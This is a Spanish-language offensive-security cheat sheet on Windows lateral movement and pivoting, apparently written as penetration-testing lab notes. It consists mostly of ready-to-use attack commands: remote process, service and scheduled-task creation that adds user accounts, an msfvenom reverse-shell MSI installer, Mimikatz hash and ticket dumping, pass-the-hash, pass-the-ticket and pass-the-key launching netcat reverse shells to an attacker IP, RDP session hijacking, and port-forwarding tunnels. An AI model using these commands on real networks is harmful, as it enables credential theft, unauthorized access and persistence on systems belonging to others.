🦘Movimiento Lateral & Pivoting
Técnicas de movimiento lateral entre una red Windows
Generar Procesos Remotos
Diferentes métodos para generar un proceso de manera remota, permitiendo ejecutar comandos en máquinas para las que se tiene credenciales válidas. Elegir método según la situación específica.
Crear Comando Remoto - Psexec
Puerto: 445 - SMB
Grupo Requerido: Administrators
psexec64.exe <IP-remota> -u Administrator -p <pass> -i cmd.exe
Crear Proceso Remoto - WinRM
Puertos: 5985/5986 WinRM HTTP/HTTPs
Grupo Requerido: Remote Management Users
winrs.exe -u:Administrator -p:<pass> -r:<computer-name> cmd
Versión desde PowerShell:
username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername <name> -Credential $credentialobject
Otra opción desde Powershell es ejecutar ScriptBlocks de manera remota con WinRM:
Invoke-Command -Computername <name> -Credential $credentialobject -ScriptBlock {whoami}
Crear Servicio Remoto - SC
Puertos: 135, 49152-65535 (DCE/RPC) 445, 139 (RPC over SMB Named Pipes)
Grupo Requerido: Administrators
sc.exe \\<computer>.<domain> create <service-name> binPath="net user <username> <pass> /add" start= auto
sc. exe \\<computer>.<domain> start <service-name>
sc.exe \\<computer>.<domain> stop <service-name>
sc.exe \\<computer>.<domain> delete <service-name>
Crear Tarea Programada Remota
schtasks /s <computer>.<domain> /RU "SYSTEM" /create /tn "<task-name>" /tr "<command/payload-to-execute>" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s <computer>.<domain> /run /TN "<task-name>"
schtasks /s <computer>.<domain> /TN "<task-name>" /DELETE /F
Movimiento Lateral con WMI
Windows Management Instrumentation, o WMI, permite al administrador realizar tareas de gestión de manera remota, las cuales podemos aprovechar para movernos lateralmente.
Puertos: 135, 49152-65535 (DCE/RPC) 5985/5986 (WinRM HTTP/HTTPs)
Grupo Requerido: Administrators
Iniciar Sesión WMI desde PowerShell
$username = 'Administrator';
$password = '<pass>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
$Opt = New-CimSessionOption -Protocol DCOM # DCOM or Wsman
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
Crear Proceso Remoto
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value <some-text>";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command}
Crear Servicio Remoto
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "<service-name>";
DisplayName = "<service-name>";
PathName = "net user <new-user> <pass> /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE '<service-name>'"
Invoke-CimMethod -InputObject $Service -MethodName StartService
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
Crear Tarea Programada
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user <user> <pass> /add"
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\\SYSTEM" -TaskName "<task-name>"
Start-ScheduledTask -CimSession $Session -TaskName "<task-name>"
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
Instalar paquetes MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port>-f msi > myinstaller.msi
smbclient -c 'put myinstaller.msi' -U <username> -W ZA '//<pc-name>.<workgroup>.<domain-name>/admin$/' <pass>
use exploit/multi/handler
set lhost <ip>
set lport <port>
set payload windows/x64/shell_reverse_tcp
run
Configurar objeto PSCredential
Iniciar sesión de WMI
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\\Windows\\<file>.msi"; Options = ""; AllUsers = $false}
wmic /node:<domain-name> /user:<domain>\\<user> product call install PackageLocation=c:\\Windows\\<file>.msi
Abuso de Protocolos de Autenticación con Mimikatz
Ataque Pass-the-Hash (PtH)
EXTRACCIÓN NTLM HASH
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
mimikatz.exe
privilege::debug
token::elevate
sekurlsa::msv
EXPLOTACIÓN - WINDOWS
nc -lvnp <port>
token::revert
sekurlsa::pth /user:<username> /domain:<workgroup>.<domain-name> /ntlm:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
winrs.exe -r:<computer>.<workgroup>.<domain> cmd
EXPLOTACIÓN - LINUX
python3 /opt/impacket/examples/psexec.py -hashes <hash> <workgroup>.<domain-name>/<username>@<ip>
Ataque Pass-the-Ticket (PtT)
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
kerberos::ptt <ticket-kirbi-file>
klist
Ataque Pass-the-Key (PtK)
mimikatz.exe
privilege::debug
sekurlsa::ekeys
nc -lvnp <port>
COMANDO SEGÚN ALGORITMO DE LA CLAVE OBTENIDA:
sekurlsa::pth /user:<username> /domain:<domain> /rc4:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
sekurlsa::pth /user:<username> /domain:<domain> /aes128:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
sekurlsa::pth /user:<username> /domain:<domain> /aes256:<hash> /run:"c:\\tools\\nc64.exe -e cmd.exe <ip> <port>"
Abuso de Errores del Usuario
Aprovechar errores de configuración o malas prácticas por parte del usuario para ganar mayor acceso a las máquinas dentro de la red.
RDP Hijacking
Solo Windows Server 2016 y anteriores, Windows Server 2019 no permite conectarse a sesiones de otro usuario sin proporcionar la contraseña.
PsExec64.exe -s cmd.exe
query user
query session
Anotamos el
SESSIONNAME
de la sesión actual y elID
de la sesión a secuestrar.
tscon <ID> /dest:<SESSIONNAME>
Port Forwarding
Diferentes técnicas de redireccionamiento de puertos que permiten utilizar una máquina comprometida como "máquina de salto" para pivotar a otras máquinas.
SSH Local Port Forwarding
ssh <username>@<ip-a> -L *:<port>:127.0.0.1:<port> -N
netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>
SSH Remote Port Forwarding
ssh <username>@<ip-a> -R <port>:<target-ip>:<port> -N
# ssh user@ip-a -> PC comprometido se conecta por ssh
# -R port:ip:port -> tunel entre dos puertos
# -N -> no se ejecutan comandos, solo se mantiene el tunel
xfreerdp /v:127.0.0.1 /u:<username> /p:<pass>
Port Forwarding con Socat
Para situaciones en las que SSH no está disponible podemos utiliazr la herramienta de Socat, pero antes se debe trasnferir el binario a la máquina de salto.
LOCAL PORT FORWARDING
socat TCP4-LISTEN:<port>,fork TCP4:<ip-a>:<port>
netsh advfirewall firewall add rule name="<name>" dir=in action=allow protocol=TCP localport=<port>
REMOTE PORT FORWARDING
socat TCP4-LISTEN:<port>,fork TCP4:<target-ip>:<port>
Dynamic Port Forwading con SOCKS
REDIRECCIONAMIENTO DE PUERTOS DINÁMICO INVERSO
ssh <username>@<ip-a> -R <port> -N
[ProxyList]
socks4 127.0.0.1 <R-port>
proxychains curl https://<url.com>
Última actualización